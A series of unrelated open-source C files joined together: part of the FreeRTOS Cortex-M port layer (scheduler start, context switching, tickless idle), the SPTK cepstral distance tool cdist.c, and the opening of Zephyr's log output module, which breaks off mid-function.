r0 \n" " orr r14, #0xd \n" " bx r14 \n" " \n" " .align 4 \n" "pxCurrentTCBConst2: .word pxCurrentTCB \n" ); } /*-----------------------------------------------------------*/ static void prvPortStartFirstTask( void ) { __asm volatile ( " ldr r0, =0xE000ED08 \n"/* Use the NVIC offset register to locate the stack. */ " ldr r0, [r0] \n" " ldr r0, [r0] \n" " msr msp, r0 \n"/* Set the msp back to the start of the stack. */ " cpsie i \n"/* Globally enable interrupts. */ " cpsie f \n" " dsb \n" " isb \n" " svc 0 \n"/* System call to start first task. */ " nop \n" " .ltorg \n" ); } /*-----------------------------------------------------------*/ /* * See header file for description. */ BaseType_t xPortStartScheduler( void ) { /* configMAX_SYSCALL_INTERRUPT_PRIORITY must not be set to 0. * See https://www.FreeRTOS.org/RTOS-Cortex-M3-M4.html */ configASSERT( configMAX_SYSCALL_INTERRUPT_PRIORITY ); #if ( configASSERT_DEFINED == 1 ) { volatile uint32_t ulOriginalPriority; volatile uint8_t * const pucFirstUserPriorityRegister = ( volatile uint8_t * const ) ( portNVIC_IP_REGISTERS_OFFSET_16 + portFIRST_USER_INTERRUPT_NUMBER ); volatile uint8_t ucMaxPriorityValue; /* Determine the maximum priority from which ISR safe FreeRTOS API * functions can be called. ISR safe functions are those that end in * "FromISR". FreeRTOS maintains separate thread and ISR API functions to * ensure interrupt entry is as fast and simple as possible. * * Save the interrupt priority value that is about to be clobbered. */ ulOriginalPriority = *pucFirstUserPriorityRegister; /* Determine the number of priority bits available. First write to all * possible bits. */ *pucFirstUserPriorityRegister = portMAX_8_BIT_VALUE; /* Read the value back to see how many bits stuck. */ ucMaxPriorityValue = *pucFirstUserPriorityRegister; /* Use the same mask on the maximum system call priority. */ ucMaxSysCallPriority = configMAX_SYSCALL_INTERRUPT_PRIORITY & ucMaxPriorityValue; /* Calculate the maximum acceptable priority group value for the number * of bits read back. */ ulMaxPRIGROUPValue = portMAX_PRIGROUP_BITS; while( ( ucMaxPriorityValue & portTOP_BIT_OF_BYTE ) == portTOP_BIT_OF_BYTE ) { ulMaxPRIGROUPValue--; ucMaxPriorityValue <<= ( uint8_t ) 0x01; } #ifdef __NVIC_PRIO_BITS { /* Check the CMSIS configuration that defines the number of * priority bits matches the number of priority bits actually queried * from the hardware. */ configASSERT( ( portMAX_PRIGROUP_BITS - ulMaxPRIGROUPValue ) == __NVIC_PRIO_BITS ); } #endif #ifdef configPRIO_BITS { /* Check the FreeRTOS configuration that defines the number of * priority bits matches the number of priority bits actually queried * from the hardware. */ configASSERT( ( portMAX_PRIGROUP_BITS - ulMaxPRIGROUPValue ) == configPRIO_BITS ); } #endif /* Shift the priority group value back to its position within the AIRCR * register. */ ulMaxPRIGROUPValue <<= portPRIGROUP_SHIFT; ulMaxPRIGROUPValue &= portPRIORITY_GROUP_MASK; /* Restore the clobbered interrupt priority register to its original * value. */ *pucFirstUserPriorityRegister = ulOriginalPriority; } #endif /* conifgASSERT_DEFINED */ /* Make PendSV and SysTick the lowest priority interrupts. */ portNVIC_SHPR3_REG |= portNVIC_PENDSV_PRI; portNVIC_SHPR3_REG |= portNVIC_SYSTICK_PRI; /* Start the timer that generates the tick ISR. Interrupts are disabled * here already. */ vPortSetupTimerInterrupt(); /* Initialise the critical nesting count ready for the first task. */ uxCriticalNesting = 0; /* Start the first task. */ prvPortStartFirstTask(); /* Should never get here as the tasks will now be executing! Call the task * exit error function to prevent compiler warnings about a static function * not being called in the case that the application writer overrides this * functionality by defining configTASK_RETURN_ADDRESS. Call * vTaskSwitchContext() so link time optimisation does not remove the * symbol. */ vTaskSwitchContext(); prvTaskExitError(); /* Should not get here! */ return 0; } /*-----------------------------------------------------------*/ void vPortEndScheduler( void ) { /* Not implemented in ports where there is nothing to return to. * Artificially force an assert. */ configASSERT( uxCriticalNesting == 1000UL ); } /*-----------------------------------------------------------*/ void vPortEnterCritical( void ) { portDISABLE_INTERRUPTS(); uxCriticalNesting++; /* This is not the interrupt safe version of the enter critical function so * assert() if it is being called from an interrupt context. Only API * functions that end in "FromISR" can be used in an interrupt. Only assert if * the critical nesting count is 1 to protect against recursive calls if the * assert function also uses a critical section. */ if( uxCriticalNesting == 1 ) { configASSERT( ( portNVIC_INT_CTRL_REG & portVECTACTIVE_MASK ) == 0 ); } } /*-----------------------------------------------------------*/ void vPortExitCritical( void ) { configASSERT( uxCriticalNesting ); uxCriticalNesting--; if( uxCriticalNesting == 0 ) { portENABLE_INTERRUPTS(); } } /*-----------------------------------------------------------*/ void xPortPendSVHandler( void ) { /* This is a naked function. */ __asm volatile ( " mrs r0, psp \n" " isb \n" " \n" " ldr r3, pxCurrentTCBConst \n"/* Get the location of the current TCB. */ " ldr r2, [r3] \n" " \n" " stmdb r0!, {r4-r11} \n"/* Save the remaining registers. */ " str r0, [r2] \n"/* Save the new top of stack into the first member of the TCB. */ " \n" " stmdb sp!, {r3, r14} \n" " mov r0, %0 \n" " msr basepri, r0 \n" " bl vTaskSwitchContext \n" " mov r0, #0 \n" " msr basepri, r0 \n" " ldmia sp!, {r3, r14} \n" " \n"/* Restore the context, including the critical nesting count. */ " ldr r1, [r3] \n" " ldr r0, [r1] \n"/* The first item in pxCurrentTCB is the task top of stack. */ " ldmia r0!, {r4-r11} \n"/* Pop the registers. */ " msr psp, r0 \n" " isb \n" " bx r14 \n" " \n" " .align 4 \n" "pxCurrentTCBConst: .word pxCurrentTCB \n" ::"i" ( configMAX_SYSCALL_INTERRUPT_PRIORITY ) ); } /*-----------------------------------------------------------*/ void xPortSysTickHandler( void ) { /* The SysTick runs at the lowest interrupt priority, so when this interrupt * executes all interrupts must be unmasked. There is therefore no need to * save and then restore the interrupt mask value as its value is already * known. */ portDISABLE_INTERRUPTS(); { /* Increment the RTOS tick. */ if( xTaskIncrementTick() != pdFALSE ) { /* A context switch is required. Context switching is performed in * the PendSV interrupt. Pend the PendSV interrupt. */ portNVIC_INT_CTRL_REG = portNVIC_PENDSVSET_BIT; } } portENABLE_INTERRUPTS(); } /*-----------------------------------------------------------*/ #if ( configUSE_TICKLESS_IDLE == 1 ) __attribute__( ( weak ) ) void vPortSuppressTicksAndSleep( TickType_t xExpectedIdleTime ) { uint32_t ulReloadValue, ulCompleteTickPeriods, ulCompletedSysTickDecrements; TickType_t xModifiableIdleTime; /* Make sure the SysTick reload value does not overflow the counter. */ if( xExpectedIdleTime > xMaximumPossibleSuppressedTicks ) { xExpectedIdleTime = xMaximumPossibleSuppressedTicks; } /* Stop the SysTick momentarily. The time the SysTick is stopped for * is accounted for as best it can be, but using the tickless mode will * inevitably result in some tiny drift of the time maintained by the * kernel with respect to calendar time. */ portNVIC_SYSTICK_CTRL_REG &= ~portNVIC_SYSTICK_ENABLE_BIT; /* Calculate the reload value required to wait xExpectedIdleTime * tick periods. -1 is used because this code will execute part way * through one of the tick periods. */ ulReloadValue = portNVIC_SYSTICK_CURRENT_VALUE_REG + ( ulTimerCountsForOneTick * ( xExpectedIdleTime - 1UL ) ); if( ulReloadValue > ulStoppedTimerCompensation ) { ulReloadValue -= ulStoppedTimerCompensation; } /* Enter a critical section but don't use the taskENTER_CRITICAL() * method as that will mask interrupts that should exit sleep mode. */ __asm volatile ( "cpsid i" ::: "memory" ); __asm volatile ( "dsb" ); __asm volatile ( "isb" ); /* If a context switch is pending or a task is waiting for the scheduler * to be unsuspended then abandon the low power entry. */ if( eTaskConfirmSleepModeStatus() == eAbortSleep ) { /* Restart from whatever is left in the count register to complete * this tick period. */ portNVIC_SYSTICK_LOAD_REG = portNVIC_SYSTICK_CURRENT_VALUE_REG; /* Restart SysTick. */ portNVIC_SYSTICK_CTRL_REG |= portNVIC_SYSTICK_ENABLE_BIT; /* Reset the reload register to the value required for normal tick * periods. */ portNVIC_SYSTICK_LOAD_REG = ulTimerCountsForOneTick - 1UL; /* Re-enable interrupts - see comments above the cpsid instruction() * above. */ __asm volatile ( "cpsie i" ::: "memory" ); } else { /* Set the new reload value. */ portNVIC_SYSTICK_LOAD_REG = ulReloadValue; /* Clear the SysTick count flag and set the count value back to * zero. */ portNVIC_SYSTICK_CURRENT_VALUE_REG = 0UL; /* Restart SysTick. */ portNVIC_SYSTICK_CTRL_REG |= portNVIC_SYSTICK_ENABLE_BIT; /* Sleep until something happens. configPRE_SLEEP_PROCESSING() can * set its parameter to 0 to indicate that its implementation contains * its own wait for interrupt or wait for event instruction, and so wfi * should not be executed again. However, the original expected idle * time variable must remain unmodified, so a copy is taken. */ xModifiableIdleTime = xExpectedIdleTime; configPRE_SLEEP_PROCESSING( xModifiableIdleTime ); if( xModifiableIdleTime > 0 ) { __asm volatile ( "dsb" ::: "memory" ); __asm volatile ( "wfi" ); __asm volatile ( "isb" ); } configPOST_SLEEP_PROCESSING( xExpectedIdleTime ); /* Re-enable interrupts to allow the interrupt that brought the MCU * out of sleep mode to execute immediately. see comments above * __disable_interrupt() call above. */ __asm volatile ( "cpsie i" ::: "memory" ); __asm volatile ( "dsb" ); __asm volatile ( "isb" ); /* Disable interrupts again because the clock is about to be stopped * and interrupts that execute while the clock is stopped will increase * any slippage between the time maintained by the RTOS and calendar * time. */ __asm volatile ( "cpsid i" ::: "memory" ); __asm volatile ( "dsb" ); __asm volatile ( "isb" ); /* Disable the SysTick clock without reading the * portNVIC_SYSTICK_CTRL_REG register to ensure the * portNVIC_SYSTICK_COUNT_FLAG_BIT is not cleared if it is set. Again, * the time the SysTick is stopped for is accounted for as best it can * be, but using the tickless mode will inevitably result in some tiny * drift of the time maintained by the kernel with respect to calendar * time*/ portNVIC_SYSTICK_CTRL_REG = ( portNVIC_SYSTICK_CLK_BIT | portNVIC_SYSTICK_INT_BIT ); /* Determine if the SysTick clock has already counted to zero and * been set back to the current reload value (the reload back being * correct for the entire expected idle time) or if the SysTick is yet * to count to zero (in which case an interrupt other than the SysTick * must have brought the system out of sleep mode). */ if( ( portNVIC_SYSTICK_CTRL_REG & portNVIC_SYSTICK_COUNT_FLAG_BIT ) != 0 ) { uint32_t ulCalculatedLoadValue; /* The tick interrupt is already pending, and the SysTick count * reloaded with ulReloadValue. Reset the * portNVIC_SYSTICK_LOAD_REG with whatever remains of this tick * period. */ ulCalculatedLoadValue = ( ulTimerCountsForOneTick - 1UL ) - ( ulReloadValue - portNVIC_SYSTICK_CURRENT_VALUE_REG ); /* Don't allow a tiny value, or values that have somehow * underflowed because the post sleep hook did something * that took too long. */ if( ( ulCalculatedLoadValue < ulStoppedTimerCompensation ) || ( ulCalculatedLoadValue > ulTimerCountsForOneTick ) ) { ulCalculatedLoadValue = ( ulTimerCountsForOneTick - 1UL ); } portNVIC_SYSTICK_LOAD_REG = ulCalculatedLoadValue; /* As the pending tick will be processed as soon as this * function exits, the tick value maintained by the tick is stepped * forward by one less than the time spent waiting. */ ulCompleteTickPeriods = xExpectedIdleTime - 1UL; } else { /* Something other than the tick interrupt ended the sleep. * Work out how long the sleep lasted rounded to complete tick * periods (not the ulReload value which accounted for part * ticks). */ ulCompletedSysTickDecrements = ( xExpectedIdleTime * ulTimerCountsForOneTick ) - portNVIC_SYSTICK_CURRENT_VALUE_REG; /* How many complete tick periods passed while the processor * was waiting? */ ulCompleteTickPeriods = ulCompletedSysTickDecrements / ulTimerCountsForOneTick; /* The reload value is set to whatever fraction of a single tick * period remains. */ portNVIC_SYSTICK_LOAD_REG = ( ( ulCompleteTickPeriods + 1UL ) * ulTimerCountsForOneTick ) - ulCompletedSysTickDecrements; } /* Restart SysTick so it runs from portNVIC_SYSTICK_LOAD_REG * again, then set portNVIC_SYSTICK_LOAD_REG back to its standard * value. */ portNVIC_SYSTICK_CURRENT_VALUE_REG = 0UL; portNVIC_SYSTICK_CTRL_REG |= portNVIC_SYSTICK_ENABLE_BIT; vTaskStepTick( ulCompleteTickPeriods ); portNVIC_SYSTICK_LOAD_REG = ulTimerCountsForOneTick - 1UL; /* Exit with interrupts enabled. */ __asm volatile ( "cpsie i" ::: "memory" ); } } #endif /* configUSE_TICKLESS_IDLE */ /*-----------------------------------------------------------*/ /* * Setup the systick timer to generate the tick interrupts at the required * frequency. */ __attribute__( ( weak ) ) void vPortSetupTimerInterrupt( void ) { /* Calculate the constants required to configure the tick interrupt. */ #if ( configUSE_TICKLESS_IDLE == 1 ) { ulTimerCountsForOneTick = ( configSYSTICK_CLOCK_HZ / configTICK_RATE_HZ ); xMaximumPossibleSuppressedTicks = portMAX_24_BIT_NUMBER / ulTimerCountsForOneTick; ulStoppedTimerCompensation = portMISSED_COUNTS_FACTOR / ( configCPU_CLOCK_HZ / configSYSTICK_CLOCK_HZ ); } #endif /* configUSE_TICKLESS_IDLE */ /* Stop and clear the SysTick. */ portNVIC_SYSTICK_CTRL_REG = 0UL; portNVIC_SYSTICK_CURRENT_VALUE_REG = 0UL; /* Configure SysTick to interrupt at the requested rate. */ portNVIC_SYSTICK_LOAD_REG = ( configSYSTICK_CLOCK_HZ / configTICK_RATE_HZ ) - 1UL; portNVIC_SYSTICK_CTRL_REG = ( portNVIC_SYSTICK_CLK_BIT | portNVIC_SYSTICK_INT_BIT | portNVIC_SYSTICK_ENABLE_BIT ); } /*-----------------------------------------------------------*/ #if ( configASSERT_DEFINED == 1 ) void vPortValidateInterruptPriority( void ) { uint32_t ulCurrentInterrupt; uint8_t ucCurrentPriority; /* Obtain the number of the currently executing interrupt. */ __asm volatile ( "mrs %0, ipsr" : "=r" ( ulCurrentInterrupt )::"memory" ); /* Is the interrupt number a user defined interrupt? */ if( ulCurrentInterrupt >= portFIRST_USER_INTERRUPT_NUMBER ) { /* Look up the interrupt's priority. */ ucCurrentPriority = pcInterruptPriorityRegisters[ ulCurrentInterrupt ]; /* The following assertion will fail if a service routine (ISR) for * an interrupt that has been assigned a priority above * configMAX_SYSCALL_INTERRUPT_PRIORITY calls an ISR safe FreeRTOS API * function. ISR safe FreeRTOS API functions must *only* be called * from interrupts that have been assigned a priority at or below * configMAX_SYSCALL_INTERRUPT_PRIORITY. * * Numerically low interrupt priority numbers represent logically high * interrupt priorities, therefore the priority of the interrupt must * be set to a value equal to or numerically *higher* than * configMAX_SYSCALL_INTERRUPT_PRIORITY. * * Interrupts that use the FreeRTOS API must not be left at their * default priority of zero as that is the highest possible priority, * which is guaranteed to be above configMAX_SYSCALL_INTERRUPT_PRIORITY, * and therefore also guaranteed to be invalid. * * FreeRTOS maintains separate thread and ISR API functions to ensure * interrupt entry is as fast and simple as possible. * * The following links provide detailed information: * https://www.FreeRTOS.org/RTOS-Cortex-M3-M4.html * https://www.FreeRTOS.org/FAQHelp.html */ configASSERT( ucCurrentPriority >= ucMaxSysCallPriority ); } /* Priority grouping: The interrupt controller (NVIC) allows the bits * that define each interrupt's priority to be split between bits that * define the interrupt's pre-emption priority bits and bits that define * the interrupt's sub-priority. For simplicity all bits must be defined * to be pre-emption priority bits. The following assertion will fail if * this is not the case (if some bits represent a sub-priority). * * If the application only uses CMSIS libraries for interrupt * configuration then the correct setting can be achieved on all Cortex-M * devices by calling NVIC_SetPriorityGrouping( 0 ); before starting the * scheduler. Note however that some vendor specific peripheral libraries * assume a non-zero priority group setting, in which cases using a value * of zero will result in unpredictable behaviour. */ configASSERT( ( portAIRCR_REG & portPRIORITY_GROUP_MASK ) <= ulMaxPRIGROUPValue ); } #endif /* configASSERT_DEFINED */
876008.c
/* ----------------------------------------------------------------- */ /* The Speech Signal Processing Toolkit (SPTK) */ /* developed by SPTK Working Group */ /* http://sp-tk.sourceforge.net/ */ /* ----------------------------------------------------------------- */ /* */ /* Copyright (c) 1984-2007 Tokyo Institute of Technology */ /* Interdisciplinary Graduate School of */ /* Science and Engineering */ /* */ /* 1996-2013 Nagoya Institute of Technology */ /* Department of Computer Science */ /* */ /* All rights reserved. */ /* */ /* Redistribution and use in source and binary forms, with or */ /* without modification, are permitted provided that the following */ /* conditions are met: */ /* */ /* - Redistributions of source code must retain the above copyright */ /* notice, this list of conditions and the following disclaimer. */ /* - Redistributions in binary form must reproduce the above */ /* copyright notice, this list of conditions and the following */ /* disclaimer in the documentation and/or other materials provided */ /* with the distribution. */ /* - Neither the name of the SPTK working group nor the names of its */ /* contributors may be used to endorse or promote products derived */ /* from this software without specific prior written permission. */ /* */ /* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND */ /* CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, */ /* INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF */ /* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE */ /* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS */ /* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, */ /* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED */ /* TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, */ /* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON */ /* ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, */ /* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY */ /* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE */ /* POSSIBILITY OF SUCH DAMAGE. */ /* ----------------------------------------------------------------- */ /************************************************************************ * * * Calculation of Cepstral Distance * * 1996.7 K.Koishida * * * * usage: * * cdist [ options ] cfile [ infile ] > stdout * * options: * * -m m : order of minimum-phase cepstrum [25] * * -o o : output format [0] * * 0 ([dB]) * * 1 (squared error) * * 2 (root squared error) * * -f : frame length [FALSE] * * cfile: * * infile: * * minimum-phase cepstrum * * , c(0), c(1), ..., c(m), * * stdout: * * cepstral distance * * * ************************************************************************/ static char *rcs_id = "$Id: cdist.c,v 1.24 2013/12/16 09:01:54 mataki Exp $"; /* Standard C Libraries */ #include <stdio.h> #include <stdlib.h> #ifdef HAVE_STRING_H # include <string.h> #else # include <strings.h> # ifndef HAVE_STRRCHR # define strrchr rindex # endif #endif #include <math.h> #if defined(WIN32) # include "SPTK.h" #else # include <SPTK.h> #endif /* Default Values */ #define ORDER 25 #define FRAME FA #define OTYPE 0 char *BOOL[] = { "FALSE", "TRUE" }; /* Command Name */ char *cmnd; void usage(int status) { fprintf(stderr, "\n"); fprintf(stderr, " %s - calculation of cepstral distance\n", cmnd); fprintf(stderr, "\n"); fprintf(stderr, " usage:\n"); fprintf(stderr, " %s [ options ] cfile [ infile ] > stdout\n", cmnd); fprintf(stderr, " options:\n"); fprintf(stderr, " -m m : order of minimum-phase cepstrum [%d]\n", ORDER); fprintf(stderr, " -o o : output format [%d]\n", OTYPE); fprintf(stderr, " 0 ([dB])\n"); fprintf(stderr, " 1 (squared error)\n"); fprintf(stderr, " 2 (root squared error)\n"); fprintf(stderr, " -f : output frame by frame [%s]\n", BOOL[FRAME]); fprintf(stderr, " -h : print this message\n"); fprintf(stderr, " cfile:\n"); fprintf(stderr, " infile: [stdin]\n"); fprintf(stderr, " minimum-phase cepstrum (%s)\n", FORMAT); fprintf(stderr, " stdout:\n"); fprintf(stderr, " cepstral distance (%s)\n", FORMAT); #ifdef PACKAGE_VERSION fprintf(stderr, "\n"); fprintf(stderr, " SPTK: version %s\n", PACKAGE_VERSION); fprintf(stderr, " CVS Info: %s", rcs_id); #endif fprintf(stderr, "\n"); exit(status); } int main(int argc, char **argv) { int m = ORDER, num = 0, otype = OTYPE, i; FILE *fp = stdin, *fp1 = NULL; double *x, *y, sub, sum, z = 0.0; Boolean frame = FRAME; if ((cmnd = strrchr(argv[0], '/')) == NULL) cmnd = argv[0]; else cmnd++; while (--argc) if (**++argv == '-') { switch (*(*argv + 1)) { case 'm': m = atoi(*++argv); --argc; break; case 'o': otype = atoi(*++argv); --argc; break; case 'f': frame = 1 - frame; break; case 'h': usage(0); default: fprintf(stderr, "%s : Invalid option '%c'!\n", cmnd, *(*argv + 1)); usage(1); } } else if (fp1 == NULL) fp1 = getfp(*argv, "rb"); else fp = getfp(*argv, "rb"); x = dgetmem(m + m + 2); y = x + m + 1; while (freadf(x, sizeof(*x), m + 1, fp) == m + 1 && freadf(y, sizeof(*y), m + 1, fp1) == m + 1) { sum = 0.0; for (i = 1; i <= m; i++) { sub = x[i] - y[i]; sum += sub * sub; } if (otype == 0) { sum = sqrt(2.0 * sum); sum *= LN_TO_LOG; } else if (otype == 2) sum = sqrt(sum); if (!frame) { z += sum; num++; } else fwritef(&sum, sizeof(sum), 1, stdout); } if (!frame) { z = z / (double) num; fwritef(&z, sizeof(z), 1, stdout); } return 0; }
52588.c
/* * Copyright (c) 2018 Nordic Semiconductor ASA * * SPDX-License-Identifier: Apache-2.0 */ #include <logging/log_output.h> #include <logging/log_ctrl.h> #include <logging/log.h> #include <sys/__assert.h> #include <sys/cbprintf.h> #include <ctype.h> #include <time.h> #include <stdio.h> #include <stdbool.h> #define LOG_COLOR_CODE_DEFAULT "\x1B[0m" #define LOG_COLOR_CODE_RED "\x1B[1;31m" #define LOG_COLOR_CODE_GREEN "\x1B[1;32m" #define LOG_COLOR_CODE_YELLOW "\x1B[1;33m" #define HEXDUMP_BYTES_IN_LINE 16 #define DROPPED_COLOR_PREFIX \ Z_LOG_EVAL(CONFIG_LOG_BACKEND_SHOW_COLOR, (LOG_COLOR_CODE_RED), ()) #define DROPPED_COLOR_POSTFIX \ Z_LOG_EVAL(CONFIG_LOG_BACKEND_SHOW_COLOR, (LOG_COLOR_CODE_DEFAULT), ()) static const char *const severity[] = { NULL, "err", "wrn", "inf", "dbg" }; static const char *const colors[] = { NULL, LOG_COLOR_CODE_RED, /* err */ LOG_COLOR_CODE_YELLOW, /* warn */ IS_ENABLED(CONFIG_LOG_INFO_COLOR_GREEN) ? LOG_COLOR_CODE_GREEN : NULL, /* info */ NULL /* dbg */ }; static uint32_t freq; static uint32_t timestamp_div; extern void log_output_msg_syst_process(const struct log_output *output, struct log_msg *msg, uint32_t flag); extern void log_output_string_syst_process(const struct log_output *output, struct log_msg_ids src_level, const char *fmt, va_list ap, uint32_t flag); extern void log_output_hexdump_syst_process(const struct log_output *output, struct log_msg_ids src_level, const uint8_t *data, uint32_t length, uint32_t flag); /* The RFC 5424 allows very flexible mapping and suggest the value 0 being the * highest severity and 7 to be the lowest (debugging level) severity. * * 0 Emergency System is unusable * 1 Alert Action must be taken immediately * 2 Critical Critical conditions * 3 Error Error conditions * 4 Warning Warning conditions * 5 Notice Normal but significant condition * 6 Informational Informational messages * 7 Debug Debug-level messages */ static int level_to_rfc5424_severity(uint32_t level) { uint8_t ret; switch (level) { case LOG_LEVEL_NONE: ret = 7U; break; case LOG_LEVEL_ERR: ret = 3U; break; case LOG_LEVEL_WRN: ret = 4U; break; case LOG_LEVEL_INF: ret = 6U; break; case LOG_LEVEL_DBG: ret = 7U; break; default: ret = 7U; break; } return ret; } static int out_func(int c, void *ctx) { const struct log_output *out_ctx = (const struct log_output *)ctx; int idx; if (IS_ENABLED(CONFIG_LOG_IMMEDIATE)) { /* Backend must be thread safe in synchronous operation. */ out_ctx->func((uint8_t *)&c, 1, out_ctx->control_block->ctx); return 0; } if (out_ctx->control_block->offset == out_ctx->size) { log_output_flush(out_ctx); } idx = atomic_inc(&out_ctx->control_block->offset); out_ctx->buf[idx] = (uint8_t)c; __ASSERT_NO_MSG(out_ctx->control_block->offset <= out_ctx->size); return 0; } static int cr_out_func(int c, void *ctx) { out_func(c, ctx); if (c == '\n') { out_func((int)'\r', ctx); } return 0; } static int print_formatted(const struct log_output *output, const char *fmt, ...) { va_list args; int length = 0; va_start(args, fmt); length = cbvprintf(out_func, (void *)output, fmt, args); va_end(args); return length; } static void buffer_write(log_output_func_t outf, uint8_t *buf, size_t len, void *ctx) { int processed; do { processed = outf(buf, len, ctx); len -= processed; buf += processed; } while (len != 0); } void log_output_flush(const struct log_output *output) { buffer_write(output->func, output->buf, output->control_block->offset, output->control_block->ctx); output->control_block->offset = 0; } static int timestamp_print(const struct log_output *output, uint32_t flags, uint32_t timestamp) { int length; bool format = (flags & LOG_OUTPUT_FLAG_FORMAT_TIMESTAMP) | (flags & LOG_OUTPUT_FLAG_FORMAT_SYSLOG); if (!format) { length = print_formatted(output, "[%08lu] ", timestamp); } else if (freq != 0U) { uint32_t total_seconds; uint32_t remainder; uint32_t seconds; uint32_t hours; uint32_t mins; uint32_t ms; uint32_t us; timestamp /= timestamp_div; total_seconds = timestamp / freq; seconds = total_seconds; hours = seconds / 3600U; seconds -= hours * 3600U; mins = seconds / 60U; seconds -= mins * 60U; remainder = timestamp % freq; ms = (remainder * 1000U) / freq; us = (1000 * (remainder * 1000U - (ms * freq))) / freq; if (IS_ENABLED(CONFIG_LOG_BACKEND_NET) && flags & LOG_OUTPUT_FLAG_FORMAT_SYSLOG) { #if defined(CONFIG_NEWLIB_LIBC) char time_str[sizeof("1970-01-01T00:00:00")]; struct tm *tm; time_t time; time = total_seconds; tm = gmtime(&time); strftime(time_str, sizeof(time_str), "%FT%T", tm); length = print_formatted(output, "%s.%06uZ ", time_str, ms * 1000U + us); #else length = print_formatted(output, "1970-01-01T%02u:%02u:%02u.%06uZ ", hours, mins, seconds, ms * 1000U + us); #endif } else { length = print_formatted(output, "[%02u:%02u:%02u.%03u,%03u] ", hours, mins, seconds, ms, us); } } else { length = 0; } return length; } static void color_print(const struct log_output *output, bool color, bool start, uint32_t level) { if (color) { const char *log_color = start && (colors[level] != NULL) ? colors[level] : LOG_COLOR_CODE_DEFAULT; print_formatted(output, "%s", log_color); } } static void color_prefix(const struct log_output *output, bool color, uint32_t level) { color_print(output, color, true, level); } static void color_postfix(const struct log_output *output, bool color, uint32_t level) { color_print(output, color, false, level); } static int ids_print(const struct log_output *output, bool level_on, bool func_on, uint32_t domain_id, int16_t source_id, uint32_t level) { int total = 0; if (level_on) { total += print_formatted(output, "<%s> ", severity[level]); } if (source_id >= 0) { total += print_formatted(output, (func_on && ((1 << level) & LOG_FUNCTION_PREFIX_MASK)) ? "%s." : "%s: ", log_source_name_get(domain_id, source_id)); } return total; } static void newline_print(const struct log_output *ctx, uint32_t flags) { if (IS_ENABLED(CONFIG_LOG_BACKEND_NET) && flags & LOG_OUTPUT_FLAG_FORMAT_SYSLOG) { return; } if ((flags & LOG_OUTPUT_FLAG_CRLF_NONE) != 0U) { return; } if ((flags & LOG_OUTPUT_FLAG_CRLF_LFONLY) != 0U) { print_formatted(ctx, "\n"); } else { print_formatted(ctx, "\r\n"); } } static void std_print(struct log_msg *msg, const struct log_output *output) { const char *str = log_msg_str_get(msg); uint32_t nargs = log_msg_nargs_get(msg); log_arg_t *args = alloca(sizeof(log_arg_t)*nargs); int i; for (i = 0; i < nargs; i++) { args[i] = log_msg_arg_get(msg, i); } switch (log_msg_nargs_get(msg)) { case 0: print_formatted(output, str); break; case 1: print_formatted(output, str, args[0]); break; case 2: print_formatted(output, str, args[0], args[1]); break; case 3: print_formatted(output, str, args[0], args[1], args[2]); break; case 4: print_formatted(output, str, args[0], args[1], args[2], args[3]); break; case 5: print_formatted(output, str, args[0], args[1], args[2], args[3], args[4]); break; case 6: print_formatted(output, str, args[0], args[1], args[2], args[3], args[4], args[5]); break; case 7: print_formatted(output, str, args[0], args[1], args[2], args[3], args[4], args[5], args[6]); break; case 8: print_formatted(output, str, args[0], args[1], args[2], args[3], args[4], args[5], args[6], args[7]); break; case 9: print_formatted(output, str, args[0], args[1], args[2], args[3], args[4], args[5], args[6], args[7], args[8]); break; case 10: print_formatted(output, str, args[0], args[1], args[2], args[3], args[4], args[5], args[6], args[7], args[8], args[9]); break; case 11: print_formatted(output, str, args[0], args[1], args[2], args[3], args[4], args[5], args[6], args[7], args[8], args[9], args[10]); break; case 12: print_formatted(output, str, args[0], args[1], args[2], args[3], args[4], args[5], args[6], args[7], args[8], args[9], args[10], args[11]); break; case 13: print_formatted(output, str, args[0], args[1], args[2], args[3], args[4], args[5], args[6], args[7], args[8], args[9], args[10], args[11], args[12]); break; case 14: print_formatted(output, str, args[0], args[1], args[2], args[3], args[4], args[5], args[6], args[7], args[8], args[9], args[10], args[11], args[12], args[13]); break; case 15: print_formatted(output, str, args[0], args[1], args[2], args[3], args[4], args[5], args[6], args[7], args[8], args[9], args[10], args[11], args[12], args[13], args[14]); break; default: /* Unsupported number of arguments. */ __ASSERT_NO_MSG(true); break; } } static void hexdump_line_print(const struct log_output *output, const uint8_t *data, uint32_t length, int prefix_offset, uint32_t flags) { newline_print(output, flags); for (int i = 0; i < prefix_offset; i++) { print_formatted(output, " "); } for (int i = 0; i < HEXDUMP_BYTES_IN_LINE; i++) { if (i > 0 && !(i % 8)) { print_formatted(output, " "); } if (i < length) { print_formatted(output, "%02x ", data[i]); } else { print_formatted(output, " "); } } print_formatted(output, "|"); for (int i = 0; i < HEXDUMP_BYTES_IN_LINE; i++) { if (i > 0 && !(i % 8)) { print_formatted(output, " "); } if (i < length) { char c = (char)data[i]; print_formatted(output, "%c", isprint((int)c) ? c : '.'); } else { print_formatted(output, " "); } } } static void hexdump_print(struct log_msg *msg, const struct log_output *output, int prefix_offset, uint32_t flags) { uint32_t offset = 0U; uint8_t buf[HEXDUMP_BYTES_IN_LINE]; size_t length; print_formatted(output, "%s", log_msg_str_get(msg)); do { length = sizeof(buf); log_msg_hexdump_data_get(msg, buf, &length, offset); if (length) { hexdump_line_print(output, buf, length, prefix_offset, flags); offset += length; } else { break; } } while (true); } static void log_msg2_hexdump(const struct log_output *output, uint8_t *data, uint32_t len, int prefix_offset, uint32_t flags) { size_t length; do { length = MIN(len, HEXDUMP_BYTES_IN_LINE); hexdump_line_print(output, data, length, prefix_offset, flags); data += length; len -= length; } while (len); } static void raw_string_print(struct log_msg 